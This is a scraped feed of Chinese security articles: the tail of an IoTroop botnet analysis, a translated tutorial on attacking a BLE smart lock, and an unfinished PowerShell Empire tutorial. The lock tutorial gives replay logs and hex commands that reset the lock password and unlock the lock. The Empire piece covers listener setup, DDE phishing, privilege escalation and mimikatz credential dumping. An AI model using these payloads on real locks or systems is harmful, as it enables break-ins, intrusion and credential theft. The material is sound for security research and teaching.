【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

目前C&C服务器上发现的“run.lua”脚本只是打印字符串“Just Test”:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

我们可以在名为“run.bak.txt”的Web服务器上看到另一个Lua脚本,它看起来像一个数据收集或者更新脚本,具体如下所示:


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

攻击者可以轻松更新脚本,轻松指示僵尸网络执行任务。这个强大的设置使攻击者能够灵活和动态地控制受感染的设备,使他们能够轻松地定制任何具有自定义,可更新的攻击代码,并更改恶意软件的行为,而无需更新二进制本身。


易受攻击的IoT设备


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析

IOCs


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析


【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析
【技术分享】IoTroop:一个正快速扩张的新 IoT僵尸网络分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://research.checkpoint.com/iotroop-botnet-full-investigation/

【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

$
0
0
【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

2017-11-01 10:51:28

阅读:1300次
点赞(0)
收藏
来源: smartlockpicking.com





【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

作者:興趣使然的小胃





【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

看到智能门锁这个词,可能有人会怀疑它是不是真的“智能”,因此,厂商会把这几个字直接印在产品上。厂商会在产品中配有气场强大的扬声器,作为防窃卖点广而告之。但如果在正常的解锁通知中使用这种扬声器,开门时用户不得不捂起耳朵,这并不是一个智能的决定。至于安全性嘛,安全性已经在门锁外壳上体现了。

调侃归调侃,闲话少说,如果想看攻击过程,可直接跳到“演示视频”这部分。


二、拦截BLE传输数据

出于各种原因,大多数BLE(Bluetooth Low Energy,低功耗蓝牙)设备(包括我所知道所有智能锁设备)并没有实现链路层上的蓝牙安全机制,不能保护配对、绑定、加密操作。设备通常会在未加密BLE链路上发明自己的通信协议。这种方法会导致攻击者能够轻松拦截蓝牙链路层上的数据包,对这些方案的分析及攻击也可以信手拈来。

为了拦截无线传输数据,你首先想到的可能是使用专用的嗅探器。未来我会在相关教程中介绍这方面内容,但我的第一选择并不是使用这种方法。长话短说,这种方法除了需要使用专用硬件之外,被动嗅探模式也不是特别可靠(通常情况下你会得到离散的数据包),此外想要分析已传输的数据也不是那么简单(比如,需要在Wireshark中进行分析)。

在中间人(MITM)场景中,我使用的是自研的GATTACKER MITM代理工具来捕捉传输数据。硬件方面,该工具使用的是价值5美元的蓝牙4适配器。后面有机会的话我会详细介绍这款工具,这里我会跟大家一起看看如何在常见场景中使用这款工具。如果你对此感兴趣,想了解更多细节,你可以参考我在2016黑帽大会上的演讲以及白皮书资料。

使用一条scan命令,我们就能探测附近所有设备的广播信号:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

广播数据很短,通常情况下,BLE设备会不断对外广播数据包,向周围设备告知存活状态。这个工具发现了我们的智能锁,同时返回了智能锁的mac地址以及设备名。接下来,我们可以扫描设备的服务(service)及属性(characteristic)。


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

这里我不会介绍BLE的服务及属性相关知识。你可以认为BLE属性为一个简单的UID命名变量,存储在设备中,可以被读取及写入,了解这些知识就已足够。

扫描后,我们已经得到了一些数据,这些数据以json文件形式保存在“devices”子目录中,可以用来模拟原始的目标设备(即模拟设备的广播数据及属性特征)。现在,我们已准备就绪,可以运行中间人拦截代理程序。代理可以充当原始设备的软件模拟器,诱导移动应用发起连接操作,随后来回转发BLE数据。在我们的案例中,智能锁移动应用会检查设备的BT MAC地址,因此我们必须伪造这个地址。请注意:某些蓝牙4适配器并不支持修改MAC地址(这些适配器大多都是笔记本中自带的模块)。我使用的是CSR8510 USB设备,配合一个简单的脚本完成这个任务:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

现在,重新插入USB设备,启用新的MAC地址,然后,MITM代理就会开始工作:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

如果你看到紫色的“INITIALIZED”文本,表明代理程序与原始设备之间的连接已建立成功,软件设备模拟器已启动,准备拦截数据包。

一旦“受害者”移动应用连接到我们的模拟设备上,代理就开始来回转发数据:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

上图中,蓝色的Write代表移动应用将数据发往设备,绿色的Read代表移动应用从设备那收到数据。随后为传输的十六进制数据,括号中为这些数据解码后的ascii值。而ffe0 -> fff1为服务及属性id,目前这些id不是特别重要。我们的设备只使用了一个属性。

通信过程从几段较长的二进制数据包开始,接下来是几个较短的、相同的读写数据包,频率大概是每秒一次。当我在移动应用中按下“unlock(解锁)”按钮时,我看到了一些不同的数据包。


三、明文凭据

在上图拦截到的通信数据中,可能你首先会注意到一段重复的“6666666”数据(对应的十六进制数据为363636363636)。是的,你没看错,这就是设备当前使用的密码,以明文形式传输。顺便说一句,你也可以使用无源RF嗅探硬件(比如Ubertooth以及外接天线)从远处嗅探这段数据。到此为止,游戏其实已经结束。知道密码后,攻击者就可以在自己的移动应用上输入密码,像主人一样正常控制门锁状态。攻击者并不需要进一步分析数据包或者理解应用协议。

然而,我们并不满足于此。

现在,我们可以假装密码还没有泄露,还有一些有趣的漏洞等待我们挖掘。


四、重放攻击

前面提到过,刚开始时移动应用会与设备交换少量复杂的数据包:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

接下来,这段数据每一次都会有所变化:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

这段数据用来与设备进行初始化握手,握手完成后,你可以发送真正的控制命令。对于本文使用的这个实验设备,如果你在连接发起时,不经过初始化握手过程,直接发送一条命令(比如发送a136363636363601解锁命令),那么该命令会被设备直接丢弃。因此某种程度上,这种握手过程起到了“身份认证”作用。

我们可以通过各种方式仔细检查这个专有协议的具体细节,通过逆向分析,理解来回传送数据中每个字节代表的含义。你可能已经注意到其中包含重复的十六进制编码“741689”,稍后我们会分析这个信息,目前为止我们还不必了解这个协议的底层实现细节。我们可以先整体看一下政协数据包,宏观了解一下。

可以看到,移动应用发送的第一个数据包如下(蓝色write那一行):


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

这些数据开头部分都相同,但结尾部分有点区别。接下来,设备会返回响应数据,开头部分依然相同,结尾部分依然有点区别:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

很有可能响应数据会根据初始值的不同而不同。


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

这看起来像是简单的“挑战-响应”方案。类似的方案在应用层上屡见不鲜,BLE设备专用认证机制中尤为如此。最流行的硬件模块所提供的加密支持方案中仅限于简单的AES加密算法。因此,如果某个开发者想设计自己的加密协议,他通常会使用AES加密算法以及静态密钥,设备以及移动应用会共享同一个密钥。与对称密钥机制类似,这里最令人头疼的是,如何安全地共享及验证密钥,并且不在明文传输数据中泄露密钥信息?由于这种场景没有公钥加密算法提供支持,因此通常会引入“挑战-响应”机制。这里缺乏统一的标准,全凭开发者自己创造。如果“加密”机制出错,会导致什么后果呢?

再来看一下上面那张图。初始的挑战问题由移动手机生成,与设备无关。现在,如果设备仅凭挑战问题来计算响应数据,那么同一个挑战会得到同一个响应。这种场景很容易受到简单的重放攻击影响。攻击者可以记录下交换的数据,然后简单重放这段数据即可,不需要深入理解数据包内容:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

我们可以试一下重放攻击。GATTacker工具会将拦截到的所有数据保存在dump子目录中,文件名对应设备的MAC地址。在本文案例中,这个文件内容如下所示:

2017.10.24 10:50:54.531 | < C | ffe0 | fff1 | a137343136383905789a3b246c6c17164f0121 ( 741689 x ;$ll O !) 2017.10.24 10:50:54.702 | > R | ffe0 | fff1 | a20500f0c77f162e8bd21110841e641e641480 ( . d d ) 2017.10.24 10:50:54.980 | < C | ffe0 | fff1 | a137343136383909bcaafbae83b5babc02b8f7a0 ( 741689 ) 2017.10.24 10:50:55.156 | > R | ffe0 | fff1 | a20900 ( ) 2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a136363636363606 ( 666666 ) 2017.10.24 10:50:55.735 | > R | ffe0 | fff1 | a206002c010000 ( , ) 2017.10.24 10:50:56.645 | < C | ffe0 | fff1 | a136363636363606 ( 666666 ) 2017.10.24 10:50:56.769 | > R | ffe0 | fff1 | a206002c010000 ( , ) 2017.10.24 10:50:57.277 | < C | ffe0 | fff1 | a136363636363606 ( 666666 ) 2017.10.24 10:50:57.400 | > R | ffe0 | fff1 | a206002c010000 ( , ) 2017.10.24 10:50:57.951 | < C | ffe0 | fff1 | a136363636363601 ( 666666 ) 2017.10.24 10:50:58.076 | > R | ffe0 | fff1 | a20100 ( ) 这个文件的格式非常简单,< C代表write命令,> R代表从设备返回的read响应。接下来为服务及属性信息,然后跟着以十六进制表示的传输数据。时间戳以及解码后的ascii值仅供参考,重放攻击中不需要使用这两个信息。

我们可以调用replay.js脚本,将这个文件作为参数,发起重放攻击:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

随后,设备解锁了,同时发出了非常响亮的哔哔声。

我们也可以使用手机来完成这个操作。Android上的nRF Connect应用包含一个非常有趣的特性:macros(宏)功能。只要提供一个特殊格式的XML输入文件,这个应用就可以重放任何BLE通信数据。我们只需要将GATTacker的导出文件转换为对应的nRF宏XML格式即可:

# node gattacker2nrf.js -i dump/f0c77f162e8b.log > dump/f0c77f162e8b.xml

你可以访问此处链接查看结果文件,并将该文件导入nRF Connect应用。接下来,连接设备,按下播放按钮,开始重放:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

这是个很好的技巧,接下来,你不需要使用其他硬件就可以与设备交互。你可以根据需求修改XML输入文件。

关于嗅探及重放攻击,我建议你阅读另一个智能锁厂商公布的这份安全通知。当时这个厂商疲于应付密码嗅探漏洞的指责文章,因此公布了这份通知。我并不赞同里面提到的各种借口,比如,他们说之所以使用明文来发送密码,是为了“厂商在产品集成时更加方便”。但有一点他们说的没错,那就是这种攻击场景需要满足特定条件:在嗅探或者重放攻击场景中,当受害者解锁设备的那一刻,攻击者必须处于蓝牙覆盖范围内。因此,即使考虑到高增益天线以及越来越多的可利用设备,实际生活中这种攻击带来的风险是有限的。随便说一句,从这份通知中,你还可以知道许多用户不会刻意去修改默认密码。

现在,我们来看看更加令人惊悚的攻击场景,这种攻击场景甚至不需要提前嗅探数据包。


五、专有协议

现在,我们终于要深入分析这种专有通信协议了。分析专有协议的首选方法之一就是逆向移动应用程序。

5.1 逆向移动应用

想找到如何逆向Android应用程序的教程并不难。大概步骤是:获取应用的apk二进制文件,反编译这个文件,检查java源码。得到的源码并不是真正的原始代码,不带注释,代码对齐也不是特别规整,但大多数情况下,开发者并没有使用任何混淆技术,因此反编译得到的代码可读性还是很强的。

这个代码中,首先可以看一下“SmartLock”类。这个类文件的开头部分如下所示:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

我敢肯定你的眼睛会停留在SUPER_PASSWORD上。这个值被硬编码到应用中,因此很有可能也会内嵌在设备中。显而易见,我们可以将“741689”作为密码来尝试一下。然而,事实证明这不是真正的密码。稍等一下,我记得我们看到过这些数字,没错,初始握手交互中出现过这些数字!

在反编译出来的源码中,使用grep命令,我们可以找到某些代码片段,从中了解握手过程的工作原理:

byte[] password = "741689".getBytes(); (...) mVerifyData.generateFistRandomData(); mVerifyState = 1; byte[] arrayOfByte2 = mVerifyData.getFirstRandomData(); ByteBuffer localByteBuffer2 = ByteBuffer.allocate(15); localByteBuffer2.put(password); localByteBuffer2.put(arrayOfByte2); MsgRequestVerify localMsgRequestVerify = new MsgRequestVerify(); localMsgRequestVerify.sendData(localByteBuffer2.array());

从这段代码中我们可知,移动应用会生成随机的数据,用于初始的“挑战”问题,然后将结果附加到“741689”末尾,以对应MsgRequestVerify格式。在MsgRequestVerify类的源码中,我们可以找到如下代码:

public static final int MSG_CMD = 5; public static final int MSG_LENGTH = 19; public static final int MSG_STX = 161; public final byte con1 = 120; public final byte con2 = -102; 我们可以试着将这些信息与捕捉到的初始挑战数据包相对比:

【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

我们已经知道,这段数据中包含十六进制编码的SUPER_PASSWORD:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

根据拦截到的多个挑战数据,我们可以从中挑出随机的数据:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

其余数据是静态数据,移动设备每次生成挑战时这些数据都不会改变。你是否还记得MsgRequestVerify消息格式,其中提到MSG_STX = 161;,而十进制的161对应十六进制的a1。a1是数据包的第一个字节,对应的应该是消息的“header(头部)”字段。现在,我们又从数据包中解码出了一部分内容:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

MsgRequestVerify中还提到MSG_CMD = 5,这代表的是命令ID:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

剩下的静态数据同样也可以在MsgRequestVerify类中找到对应的定义代码:con1 = 120(十六进制为78)以及con2 = -102(十六进制为9a)。现在,我们已经可以解码整段数据包:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

接下来,我就不带你具体分析源码了,可以告诉你的是,应用程序收到设备返回的响应数据包时,会使用简单的CRC算法来校验这个数据包:

public boolean isSuccessFirstVerify() { return getFirstRandomDataCRC().equals(getFirstReceiverPayloadString()); }

移动应用会根据这个响应包(mFirstReceiver)计算第二个挑战数据包:

public void genSecondSendPayload() { for (int i = 0;; i++) { if (i >= 6) { return; } byte[] arrayOfByte = new byte[6]; arrayOfByte[0] = mFirstReceiverMacData[i]; arrayOfByte[1] = mFirstReceiverPayload[1]; arrayOfByte[2] = mFirstReceiverPayload[3]; arrayOfByte[3] = mFirstReceiverPayload[5]; arrayOfByte[4] = mFirstReceiverPayload[7]; arrayOfByte[5] = mFirstReceiverPayload[9]; int[] arrayOfInt = strToToHexByte(CRC16Util.getHex(arrayOfByte)); mSecondSendPayload[(i * 2)] = ((byte)arrayOfInt[0]); mSecondSendPayload[(1 + i * 2)] = ((byte)arrayOfInt[1]); } } 事实证明,对于我们测试的这个智能锁而言,“挑战-响应”过程中交换的数据并不依赖于与特定设备有关的密码,而是使用硬编码形式的静态密码“SUPER_PASSWORD”。这个字符串可以适用于所有设备。如果这是设备使用的唯一“认证”方式,显然会导致非常严重的问题。但我们已经知道,实际上设备会在随后的命令中发送明文密码。我们不知道为什么这款设备会使用握手机制,可能只是将其当成必要的“识别”过程(用来判断我们是否与正确的设备通信),但这个过程绝对与“认证”无关。

接下来,我们可以分析其他命令,应用程序在初始化握手过程后会通过BLE将这些命令发往设备。

5.2 分析协议命令

进一步分析源代码,你可以看到“message”子目录:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

其中,“MsgRequestLockInfo”经过反编译后结果如下:

public class MsgRequestLockInfo extends CommMessage { public static final int MSG_CMD = 6; public static final int MSG_LENGTH = 8; public static final int MSG_STX = 161; (...) 我们可以再次在GATTacker拦截到的数据包中比对这个信息:

【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

我们已经知道,这段数据包的核心部分为十六进制编码的密码(666666字符串的十六进制ascii编码对应363636363636):


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

其中,你应该能够识别MSG_STX(头)以及MSG_CMD(命令ID)字段:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

还记得解锁过程中发送的那条命令吗?那条命令的尾部为“01”而不是“06”。看一下MsgRequestOpenLock类的源码,你可以知道为什么会出现这个区别。

public static final int MSG_CMD = 1; public static final int MSG_LENGTH = 8; public static final int MSG_STX = 161; 恭喜你,你已经成功逆向出这个私有协议。现在,还有什么信息可以继续挖掘吗?

5.3 发起“Cancer(癌症)”攻击

我们仍然在寻找不需要提前嗅探数据包的攻击方法。

还是回到SUPER_PASSWORD这一点。我们知道初始握手(识别)过程中会用到这串数字。那么其他命令呢?如果我们在OpenLock命令中直接使用SUPER_PASSWORD,而不使用当前密码,会出现什么情况?为此,我们修改了导出文件,在初始握手包之后,写入a1 373431363839 01(即“头部+SUPER_PASSWORD+OpenLock命令ID”),然后重放这段数据:

2017.10.24 10:50:54.531 | < C | ffe0 | fff1 | a137343136383905789a3b246c6c17164f0121 ( 741689 x ;$ll O !) 2017.10.24 10:50:54.702 | > R | ffe0 | fff1 | a20500f0c77f162e8bd21110841e641e641480 ( . d d ) 2017.10.24 10:50:54.980 | < C | ffe0 | fff1 | a137343136383909bcaafbae83b5babc02b8f7a0 ( 741689 ) 2017.10.24 10:50:55.156 | > R | ffe0 | fff1 | a20900 ( ) 2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a137343136383901 不幸的是,攻击不成功,设备仍处于锁定状态。

那么,我们还可以使用哪些命令?找一找,比如RequestAutoLock、RequestLock、RequestModifyName、RequestModifyPassword、RequestResetPassword、MsgRequestVibrate等。稍等一下!ModifyPassword(MSG_CMD = 7)?使用这条命令,数据包中会包含当前的密码以及新的密码:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

不幸的是,这种情况下,如果不使用当前密码,而使用SUPER_PASSWORD依然无法攻击成功,设备会正确验证数据包,丢弃这类伪造的数据包。

那么,ResetPassword命令呢?请注意,在官方移动应用GUI界面中,并不提供密码重置功能。然而我们的确可以在移动应用中看到MSG_CMD这个字段。

public class MsgRequestResetPassword extends CommMessage { public static final int MSG_CMD = 8; public static final int MSG_LENGTH = 8; public static final int MSG_STX = 161;

现在,我们可以修改重放攻击的输入文件,把其中的OpenLock命令01修改为ResetPassword命令08(还是使用“741689”即373431363839这个SUPER_PASSWORD):

(...) 2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a137343136383908

竟然成功了!门锁现在的密码变成默认的“123456”!现在,修改脚本发起最后一击,使用默认密码(十六进制的313233343536),后面跟上OpenLock命令:

2017.10.24 10:50:54.531 | < C | ffe0 | fff1 | a137343136383905789a3b246c6c17164f0121 ( 741689 x ;$ll O !) 2017.10.24 10:50:54.702 | > R | ffe0 | fff1 | a20500f0c77f162e8bd21110841e641e641480 ( . d d ) 2017.10.24 10:50:54.980 | < C | ffe0 | fff1 | a137343136383909bcaafbae83b5babc02b8f7a0 ( 741689 ) 2017.10.24 10:50:55.156 | > R | ffe0 | fff1 | a20900 ( ) 2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a137343136383908 2017.10.24 10:50:55.610 | < C | ffe0 | fff1 | a131323334353601 这里我们再解释一下攻击过程:

【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

现在,攻击脚本首先会重置密码,然后自动开锁:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

当然,你也可以使用nRF Connect移动应用来执行这种攻击,我们已经在“重放攻击”那部分内容中介绍过具体操作过程。我已经为你准备了转换好的XML宏文件,你可以直接导入这个文件,下次如果你碰到这种智能锁,你可以使用自己的移动手机,打开这个应用,点击“播放”按钮,运行这个宏,就可以解锁了:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

最后谈一下“cancer(癌症)”方面的事情。一旦密码被重置,默认的密码与手机中保存的密码不一致,应用程序会向合法用户打招呼,弹出如下错误对话框:


【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁

六、总结

在本文中,我们介绍了分析BLE设备的几个步骤:从拦截通信数据包开始,到重放攻击、私有协议逆向分析,最后找到了这个协议中存在的一个严重漏洞。当然,这些内容并没全部覆盖所有可能的攻击场景以及设备评估检查场景。未来我会在这个教程中带来更多内容。

你可能会好奇,为什么一个设备中会包含这么多安全漏洞?好吧,请注意这句话:智能门锁(包括本文的实验对象)其实比大多数BLE设备更加安全。其他许多设备,比如BLE羞羞玩具、灯泡或者传感器等,通常没有实现任何安全机制,甚至没有使用简单的静态明文密码用于身份认证。因此,“攻击者”可以使用原版应用程序,连接附近的设备,然后就可以直接使用这个设备。或者,攻击者可以拦截通信数据,使用各种工具或者一个智能手机来篡改、模糊测试或者重放通信数据。根据设备的不同,攻击可能导致的安全风险也会有所不同。

我非常鼓励你探索附近BLE设备的安全性,你可能会得到让你大吃一惊的结果。你也可以看一下我的蓝牙脆弱性开源项目:BLE HackmeLock。你可以在linux主机或者虚拟机上,配合蓝牙4 USB适配器或者内置BLE适配器的树莓派3来运行这个项目。


七、演示视频

在Android平台上,只需要在nRF Connect应用中导入这个宏文件,连接到这个智能门锁,点击“播放”按钮即可完成攻击过程。不要忘了捂住耳朵,因为攻击过程会将门锁密码重置为“123456”,随后门锁会神奇地自动打开,同时发出非常刺耳的嘟嘟声:

1



【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁
【技术分享】智能门锁也会得“癌症”?如何通过手机搞定蓝牙门锁
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://smartlockpicking.com/tutorial/how-to-pick-a-ble-smart-lock-and-cause-cancer/

【技术分享】Powershell Empire 绕过AV实现远控

$
0
0
【技术分享】Powershell Empire 绕过AV实现远控

2017-11-01 14:00:42

阅读:800次
点赞(0)
收藏
来源: 安全客





【技术分享】Powershell Empire 绕过AV实现远控

作者:C1em0





【技术分享】Powershell Empire 绕过AV实现远控

作者:C1em0

预估稿费:500RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


1. 前言

谁都喜欢框架。无论对于是平时出于各种目的游走在网页和服务器中的黑客,还是从事网络安全测试的安全人员来说,一个好的漏洞框架发挥的作用不言而喻。这其中的Metasploit脱颖而出。虽然这款框架集成了从漏洞发现到漏洞利用的几乎所有功能,但是不得不承认其在木马后门的免杀方面现如今已经不足以应付一些流氓杀软了。但是,Powershell Empire可以。本篇文章是笔者在一次偶然的机会中接触到powershell empire后进行简单初步的摸索,由于关于这款工具的文章很少,大部分都没有涉及到里面模块作用和原理,官方文档能提供的信息也不多。所以我也是尽力把自己理解的写出来,笔者能力有限,更深层次的利用和原理剖析还在逐步进行。请谅解。


2. 为什么是Powershell?

empire选择了poweeshell作为攻击平台总是有原因的。其作为windows平台下的一种命令行外壳程序和脚本环境,它可以使命令行用户和脚本编写者利用.NET Farmework。 说到这里,你可能还是一脸懵逼,我也是,毕竟这只是powershell的官方解释。那我们来看下empire开发者是怎么讲的:传送门: http://www.exploit-monday.com/2012/08/Why-I-Choose-PowerShell.html 。

其中重要的一段是:"Scripting languages offer an advantage to an attacker because they provide a layer of abstraction that AV has no idea how to interpret. For example, a common AV bypass technique is to package malicious python scripts into an executable. AV has a hard time distinguishing the resulting binary as malicious or legitimate because the Python interpreter itself has plenty of legitimate uses. PowerShell offers a distinct advantage in this scenario due to its tight integration with the Windows OS and considering it’s based upon the .NET framework. With such a powerful scripting environment, there is no need to drop files on disk. Everything, with the possible exception of the script itself run entirely memory-resident."

大致意思是:脚本语言为攻击者提供了一个优势,因为它们提供了一个抽象层,杀软(AV)不知道如何解释。例如,常见的杀软旁路技术是将恶意Python脚本打包成可执行文件。杀软很难将生成的二进制文件区分为恶意的或合法的,因为Python解释器本身有很多合法用途。PowerShell在这种情况下提供了明显的优势,因为它与Windows操作系统的紧密集成,并考虑到它基于.NET框架。使用如此强大的脚本环境,不需要将文件放在磁盘上。所有的东西,除了脚本本身的可能例外,它完全是内存驻留的。

no need to drop files on disk:无需写入硬盘,内存驻留。empire使攻击者能在内存中运行命令,也就是empire使用powershell作为攻击平台,并且有大概率成功绕过AV的原因。

这种内存中运行的命令是否会让后来的入侵取证出现困难?这个我还未咨询相关的大佬和老师,暂时就不得而知了。


3. 初识Empire

和Metasploit一样,empire集成了对主机控制提权,内网主机探测等主流的渗透测试功能。

其重要的由四大部分:listeners(侦听器)、stagers(驿站)、agents(会话代理)、modules(模块)

listeners相当于msf中的监听模块,用来设置本地IP进行会话监听的。

stargers就是一段恶意代码,它通过本机的会话代理(agent)实现本机与被攻击主机的会话通道。

agents相当于msf中的session,当我们在被攻击主机上成功执行恶意代码(即木马后门) 时,会反弹一个shell,并通过agent构建本地和被害主机会话。

modules这是一个我们在控制了目标主机后,对目标内网或域进行渗透所要使用的主要模块,其包含了很多功能,具体的笔者还在摸索中。

3.1 配置侦听器(Listener)

使用listeners命令,加载当前活动的侦听器。没有的话也会提示你。你可以输入help查看帮助,选择Listeners下可以使用的命令。这里我们首先创建一个活动的侦听器。

(Empire:listeners)>uselistener

TAB键弹出可用的侦听建立途径


【技术分享】Powershell Empire 绕过AV实现远控

从图中可以看出具体有七种侦听途径建立方式,其中有五种是通过http协议进行建立通信的,他们之间具体的差别主要在于目标主机的第三方软件配置的差别,关于这一点,empire的官方文档给出了解释:传送门。剩下的是我们熟悉的msf中常用的meterpreter以及使用条件需要目标主机安装第三方软件dropbox的dbx途径。这里我们选择比较通用的http通道。使用info查看详细配置信息。

(Empire:listeners)>uselistenerhttp (Empire:listeners/http)>info

然后进行配置:

(Empire:listeners/http)>setHost192.168.1.144 (Empire:listeners/http)>setPort1234

然后execute生成侦听


【技术分享】Powershell Empire 绕过AV实现远控

然后main指令回到主菜单,可以看到一个侦听已经激活。listener列表显示详细信息。


【技术分享】Powershell Empire 绕过AV实现远控

3.2 配置Stagers

配置好侦听后就要配置我们的攻击代码了,也就是木马后门。使用usestager命令TAB键可以看到所有根据不同系统的生成木马后门的文件类型。


【技术分享】Powershell Empire 绕过AV实现远控

其中multi为通用模块、osxmac操作系统、另外还有linux与windows模块。 生成的文件类型有.dll,bat,vbs等等。其中就包括前段时间office宏命令漏洞的主角windos/macro模块。详情点击:传送门:http://bobao.360.cn/learning/detail/3605.html

实战中直接命令usestager [具体模块]就可以在/tmp目录下生成一个特定文件格式的木马后门,然后通过webshell上传运行就可以了。这里因为演示需要就不进行具体文件生成,直接使用launcher+语言类型(这里是powershell)+侦听的名字(这里是侦听的默认名字是http,也可以在设置侦听时自己更改),如下: (Empire)>launcherpowershellhttp

生成一个powershell语言的内容,直接在powershell目录下执行就行了:


【技术分享】Powershell Empire 绕过AV实现远控

【技术分享】Powershell Empire 绕过AV实现远控

运行,发现杀软并没有有明显变化,但也并不能证明其免杀效果,因为不清楚杀软是否对powershell的行为流量进行监控。

3.2.1 由此衍生的骚操作

从上面这里我们可以看到执行恶意的 powershell命令时杀软并没有给出任何报毒反映,那么我们在此基础上进一步将这个利用点扩大化,进行一次模拟网络钓鱼。如何实现?这里我们就要用到最近才出现的office无宏命令执行漏洞了。前几天国内已经有人翻译了原文:传送门:http://bobao.360.cn/learning/detail/4526.html 。

这个office漏洞的原理简单的说就是,在office中可以通过一种存在于windows内部程序进行数据动态交换的DDE协议进行命令执行,从而达到调用windows内其他程序的目的。看到这里,你应该有点想法了。没错,我们就是用这个命令执行的漏洞,执行我们前面的powershell恶意命令,看会不会有我们想要的那种效果。

1. 先将上面生成的攻击代码写成psl文本,放入本地lamp环境根目录:


【技术分享】Powershell Empire 绕过AV实现远控

2. 编写钓鱼的word文档:


【技术分享】Powershell Empire 绕过AV实现远控

3. 先用 杀软扫下有没有报毒,再发送至虚拟机。这里因为虚拟机的win7没有word,我就暂时以我的物理机来实验吧(拼了)

结果杀软未报毒 最终,反弹了自己物理机的shell..............


【技术分享】Powershell Empire 绕过AV实现远控

再此过程中杀软除了powershell启动的一瞬间给了一次见惯不怪的警告(原来警告确实重要!),之后的会话一直没结束。成功验证操作。

言归正传,此时,empire的agent已有反应,远控回话已开启。此时,我们使用命令interact进入已经建立的会话名。


【技术分享】Powershell Empire 绕过AV实现远控

help查看我们在已建立的会话中所能使用的命令,查看目标主机信息。


【技术分享】Powershell Empire 绕过AV实现远控

能成功执行,继续深入,使用mimikatz命令可以查看目标主机的用户名以及密码,但是我么可以看到这里失败了。


【技术分享】Powershell Empire 绕过AV实现远控

爆出了needs to elevated content的错误,这里大家应该明白需要提权了。那么empire有没类似于msf中的提权命令呢?有的。

(EmpirePHWC8BT4)>bypassuac[侦听名]
【技术分享】Powershell Empire 绕过AV实现远控

就可以进行提权。

但是如果运气不好也会出现提权不成功的情况。刚刚说过它和msf一样有相应的提权方式,empire中的module模块中含有相应的扫描模块可以在一键命令提权失败的情况下,进行扫描,找出对应的提权方法,这是后话了。虽然它和msf在提权上的成功率上的比较,笔者还没比较过,但应该是有差别的。

list列出提权后的会话列表,发现多出一个和原来会话主机名相同,但Username前多一个星号的会话,这个带星号的用户就是提权后的高权限用户了。我们现在interact进入这个高权限用户的会话中,查看用户密码。


【技术分享】Powershell Empire 绕过AV实现远控

可以看出,提权后我们可以对目标主机进行更多的操作,可以直接找出目标的用户名和密码的hash,如果用户密码是弱口令的话,甚至可以直接爆出密码明文。接着如果目标主机有其他内网主机的话就可以进一步地“为所欲为”了。

在控制目标主机后,我们可以将这个会话发送给msf,使用meterpreter进行更多操作。


4. 我们的杀软在做什么

